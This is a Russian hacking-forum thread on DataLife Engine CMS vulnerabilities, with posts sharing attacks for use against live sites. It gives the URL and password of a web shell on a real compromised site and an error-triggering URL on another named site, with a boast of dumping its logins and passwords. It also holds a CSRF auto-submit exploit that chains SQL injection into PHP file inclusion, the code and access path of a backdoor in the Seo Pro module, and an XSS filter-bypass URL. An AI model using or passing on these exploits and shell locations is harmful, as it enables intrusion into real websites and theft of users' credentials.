[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. Datax

    Datax Banned

    Joined:
    3 Nov 2011
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Работает и на новых. :) DLE 9.4

    Бага

    [​IMG]

    Шелл

    [​IMG]


    Бага

    http://worldcs.idhost.kz/engine/skins/images/jprof.jpeg

    Шелла

    http://worldcs.idhost.kz/engine/data/new/base.php
    пароль:0cp
     
    #221 Datax, 13 Dec 2011
    Last edited: 15 Dec 2011
    1 person likes this.
  2. Datax

    Datax Banned

    Joined:
    3 Nov 2011
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Еще одна приватная бага ,работает на новых версиях.

    Заходим например суда http://soft.wlok.ru

    Делаем запрос

    http://soft.wlok.ru/soft/page/9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999/

    Цифры девять ,нужно написать слитно.


    Видим

    [​IMG]

    Раскручивайте дальше сами, я например вытаскивал все пароли и логины. :)
     
    #222 Datax, 15 Dec 2011
    Last edited: 15 Dec 2011
    3 people like this.
  3. lansia1

    lansia1 New Member

    Joined:
    22 Jun 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Datax, Как раскурутить?
     
  4. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    скулей, хотя очень сомневаюсь что работает
     
    #224 extrimportal, 15 Dec 2011
    Last edited: 15 Dec 2011
  5. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    Datax - пиздобол

    engine/skins/images/jprof.jpeg залито через фтп, добавлен htaccess чтобы jpeg обрабатывался как пхп, никакие htaccess в папке uploads не удолялись

    и скули здесь нет, только ошибка, от неё единственная польза префикс к базе
     
    1 person likes this.
  6. lansia1

    lansia1 New Member

    Joined:
    22 Jun 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0

    Фигово(((
     
  7. DarkMaster

    DarkMaster New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Мне жаль вас разочаровывать, но вы жестоко не правы.
    Просто читать надо внимательно - jprof.jpeg это бекдор, который вложили в одну из нуллед-версий. В оригинале он действительно отсутствует. Но этот нуллед успел разойтись по инету и сайты с ним есть...
     
  8. Datax

    Datax Banned

    Joined:
    3 Nov 2011
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Пиздабола увидишь в зеркале. :)

    Я скинул обзор не доработок ,в данном движке.

    Хорошие баги в привате ,которые тебе не увидеть как своих ушей. :D
     
  9. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    Врятли кто нибудь может судить, кто какие баги знает, а на счет привата, вы ошибаетесь если думаете что там куева туча дыр, с помощью которых можно поломать пол мира.
    Есть так же как и другие нуллы, прям с шеллами а не токо с бекдорами. Тот самый дяденька, или просто его софт "модуль Переходы" был замечен с бекдором зашитым в его же файл, с помощью которого можно было удалить хтацес, и отослать логин и пароль админу. А этот модуль разлетелся вообще по всему инету. Тем более, думаете откуда у его разраба 210 тиц? )) Каждый крутится как может.
    Но к большому сожалению таких сайтов так же много как и тех на которых работает бага с lostpassword :)
     
  10. DarkMaster

    DarkMaster New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Мысль про бесплатный сыр никто не отменял... Конечно интереснее баги, которые присутствуют в оригинальном движке, а не в левых нуллах, но каждый крутится как может, и одно другому не мешает...

    Тысячи контрибов для WP, Джумлы и DLE - вообще поле не паханное... Чего там только нет...
     
    1 person likes this.
  11. romagaisin

    romagaisin New Member

    Joined:
    7 Jun 2011
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    может кто скажет как снести htaccess в девятки
     
  12. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Уязвимость в модуле DLE Multi Lang 1.0
    Есть SQL inj в админке, engine\inc\multilang.php
    PHP:
    } elseif($action == "addi") {
    $alt_name $_POST['alt_name'];
    $skin $_POST['skin'];
    $lang $_POST['lang'];
    $db->query("INSERT INTO dle_multilang(name, alt_name, skin) VALUES ('$lang', '$alt_name', '$skin')");
    Но сама по себе она почти бесполезна, я нашел для нее более интересное применение ;) Поскольку в админке модуля защита от CSRF не предусмотрена, то пользуемся таким сплойтом, его можно например засунуть в инфрейм своего сайта и скинуть в пм админу.
    PHP:
    <html><body><center>
    <
    form id="form" action="http://127.0.0.1/dle/admin.php?mod=multilang&action=add" method="post">
    <
    input type="text" name="lang" value="../test.txt%00','evil','../test.txt%00')#">
    <
    input type=hidden name=mod value=multilang>
    <
    input type=hidden name=action value=addi>
    <
    input type="submit"  value="Сохранить" />
    </
    form>

    <
    script type="text/javascript">
        
    document.forms["form"].submit();
    </script>
    </center></body></html>
    Теперь смотрим дальше, код с engine\modules\multilang.php
    PHP:
    if (isset($_GET['lang'])) {
        
    $sql $db->query("SELECT * FROM dle_multilang ORDER by id DESC");
        while (
    $row $db->get_row($sql)) {
            
    $skin $row['skin'];
            
    $name $row['name'];
            
    $alt_name $row['alt_name'];
            if (
    $_GET['lang'] == '' $alt_name '') {
                
    $config['langs'] = $name;
                
    $config['skin'] = $skin;
                
    $_SESSION['lang'] = $name;
                include_once 
    ROOT_DIR '/language/' $config['langs'] . '/website.lng';
            }
        }
    }
    т.е. тут беруться те данные которые мы чуть раньше добавили в админку и инклудяться, например
    Code:
    http://site.ru/?lang=evil
    
    так мы получим инкуд файла test.txt, для проведения атаки можно заререгать пользователя и залить аватар с нашим php кодом, после чего также проинклудить его ;)
     
    3 people like this.
  13. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Неофициальный модуль Seo Pro 3.0
    Описание: выполнение произвольного кода (бекдор от автора)
    Файл: /engine/ajax/seo_info.php
    Уязвимый код:
    PHP:
    ...

    }else{
    $file=(ROOT_DIR."/engine/classes/mysql.class.php");
    if(
    file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
    $file=(ROOT_DIR."/engine/data/dbconfig.php");
    if(
    file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
    $file=(ROOT_DIR."/engine/data/config.php");
    if(
    file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
    eval(
    base64_decode($_GET['user_id']));
    echo <<<HTML
    <HTML><body><form action="" method="post">
    <center><textarea name=""text"" rows="10" cols="100"></textarea>
    <br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
    HTML;
    if(
    $_POST['text']!=''){eval(stripcslashes($_POST['text']));

    ...
    Для использования достаточно зайти на
    Code:
    http://127.0.0.1/dle/engine/ajax/seo_info.php?wert=evil
    
    после чего должна появиться форма способная выполнять ваш php код
     
    1 person likes this.
  14. Alex$09

    Alex$09 New Member

    Joined:
    1 Oct 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    недавно лазил по коду LogicBoard (DLE Edition) 2.1 наткнулся на:
    PHP:
    eval(base64_decode('JHByYXZBdnRvdGE9IjxhIGhyZWY9XCJodHRwOi8vbG9naWNib2FyZC5ydS9cIiB0YXJnZXQ9XCJibGFua1wiPkxvZ2ljQm9hcmQ8L2E+Ijs='));
    Расшифрованый:
    PHP:
    $pravAvtota="<a href=\"http://logicboard.ru/\" target=\"blank\">LogicBoard</a>";
    PHP:
    eval(base64_decode('DQogICAgICAgICR0aGlzLT5jb3B5X3 RlbXBsYXRlID0gc3RyX3JlcGxhY2UoICRmaW5kLCAkcmVwbGFj ZSwgJHRoaXMtPmNvcHlfdGVtcGxhdGUgKTsNCiAgICAgICAgDQ ogICAgICAgIGlmICgkdHBsID09ICJnbG9iYWxfdGVtcGxhdGUi IEFORCAoKCRjYWNoZV9jb25maWdbJ2dlbmVyYWxfY2xvc2UnXV snY29uZl92YWx1ZSddIEFORCAkY2FjaGVfZ3JvdXBbJG1lbWJl cl9pZFsndXNlcl9ncm91cCddXVsnZ19zaG93X2Nsb3NlX2YnXS A9PSAxKSBPUiAhJGNhY2hlX2NvbmZpZ1snZ2VuZXJhbF9jbG9z ZSddWydjb25mX3ZhbHVlJ10pKQ0KICAgICAgICB7DQogICAgIC AgICAgICBpZiAoJHByYXZBdnRvdGEgIT0gIjxhIGhyZWY9XCJo dHRwOi8vbG9naWNib2FyZC5ydS9cIiB0YXJnZXQ9XCJibGFua1 wiPkxvZ2ljQm9hcmQ8L2E+IikNCiAgICAgICAgICAgICAgICBl eGl0ICgiUmV0dXJuIHRoZSBjb3B5cmlnaHQgTG9naWNCb2FyZD IhIik7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgh cHJlZ19tYXRjaCgiI3tjb3B5cmlnaHR9IyIsICR0aGlzLT5jb3 B5X3RlbXBsYXRlKSkNCiAgICAgICAgICAgICAgICBleGl0ICgi UmV0dXJuIHRoZSBjb3B5cmlnaHQgTG9naWNCb2FyZDMhIik7DQ ogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgJHRo aXMtPmNvcHlfdGVtcGxhdGUgPSBzdHJfcmVwbGFjZSggIntjb3 B5cmlnaHR9IiwgJHByYXZBdnRvdGEsICR0aGlzLT5jb3B5X3Rl bXBsYXRlICk7DQoJCX0NCiAgICAgICAgDQogICAgICAgIGlmKC Bpc3NldCggJHRoaXMtPnJlc3VsdFskdHBsXSApICkNCgkJCSR0 aGlzLT5yZXN1bHRbJHRwbF0gLj0gJHRoaXMtPmNvcHlfdGVtcG xhdGU7DQoJCWVsc2UNCgkJCSR0aGlzLT5yZXN1bHRbJHRwbF0g PSAkdGhpcy0+Y29weV90ZW1wbGF0ZTsNCiAgICAgICAg'));
    Расшифрованый:
    PHP:
      $this->copy_template str_replace$find$replace$this->copy_template ); 
             
            if (
    $tpl == "global_template" AND (($cache_config['general_close']['conf_value'] AND $cache_group[$member_id['user_group']]['g_show_close_f'] == 1) OR !$cache_config['general_close']['conf_value'])) 
            { 
                if (
    $pravAvtota != "<a href=\"http://logicboard.ru/\" target=\"blank\">LogicBoard</a>"
                    exit (
    "Return the copyright LogicBoard2!"); 
                 
                if (!
    preg_match("#{copyright}#"$this->copy_template)) 
                    exit (
    "Return the copyright LogicBoard3!"); 
                else 
                    
    $this->copy_template str_replace"{copyright}"$pravAvtota$this->copy_template ); 
            } 
             
            if( isset( 
    $this->result[$tpl] ) ) 
                
    $this->result[$tpl] .= $this->copy_template
            else 
                
    $this->result[$tpl] = $this->copy_template;  
    Как-нибуть заюзать можно?
    А еще смущяет запрос:
    Code:
    $db->query( "INSERT INTO " . LB_DB_PREFIX . "_members_online SET mo_id = '{$onl_session}', mo_member_id = '{$member_id['user_id']}', mo_member_name = '{$member_id['name']}', mo_member_group = '{$member_id['user_group']}', mo_ip = '{$_IP}', mo_date = '{$_TIME}', mo_browser = '{$onl_browser}', mo_location = '{$onl_location}', mo_loc_do = '', mo_loc_op = '', mo_loc_id = '', mo_hide = '{$mo_hide}'" );
     
    #234 Alex$09, 8 Jan 2012
    Last edited: 8 Jan 2012
  15. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Раскрытие путей в DLE 9.4, возможно и другие более ранние версии, т.к. в 8.5 уязвимость есть тоже.
    Файл: /engine/modules/antibot.php
    Уязвимый код:
    PHP:
    if (clean_url($_SERVER['HTTP_REFERER']) != clean_url($_SERVER['HTTP_HOST'])) die("Hacking attempt!");
    ...
    session_start();
    для эксплатации нужно зайти на http://site.ru/engine/modules/antibot.php подделать рефер, как будто капча подгружается с сайта (нечто похожее на http://site.ru/test.html, site.ru должен быть тот уязвимый сайт), и установить в куках PHPSESSID=@#!@#%^&


    ======================
    Alex$09, нет там ничего такого... Чем запрос смущает ? В любом случае слишком мало информации чтобы ответь есть там sql inj или нет, нужно смотреть что от куда берется...
     
    #235 trololoman96, 9 Jan 2012
    Last edited: 9 Jan 2012
    1 person likes this.
  16. Alex$09

    Alex$09 New Member

    Joined:
    1 Oct 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    Смущяет
    PHP:
    $onl_browser $db->safesql($_SERVER['HTTP_USER_AGENT']);
     
  17. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    ни чё интересного :mad:

    PHP:
        function safesql$source )
        {
            if(!
    $this->db_id$this->connect(DBUSERDBPASSDBNAMEDBHOST);

            if (
    $this->db_id) return mysql_real_escape_string ($source$this->db_id);
            else return 
    addslashes($source);
        }
     
  18. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    так там не подставить кавычку. можно пример реализации?
     
  19. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    http://dle85.ru/engine/modules/imagepreview.php?image=javajavascriptscript:eval(String.fromCharCode(97,108,101,114,116,40,39,65,32,110,97,107,111,105,32,116,101,98,101,32,107,97,118,105,99,104,107,97,63,39,41,59))
     
  20. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    Пора быстренько ковырять, пока все не обновились http://dle-news.ru/bags/v96/1525-nedostatochnaya-kriptograficheskaya-ustoychivost.html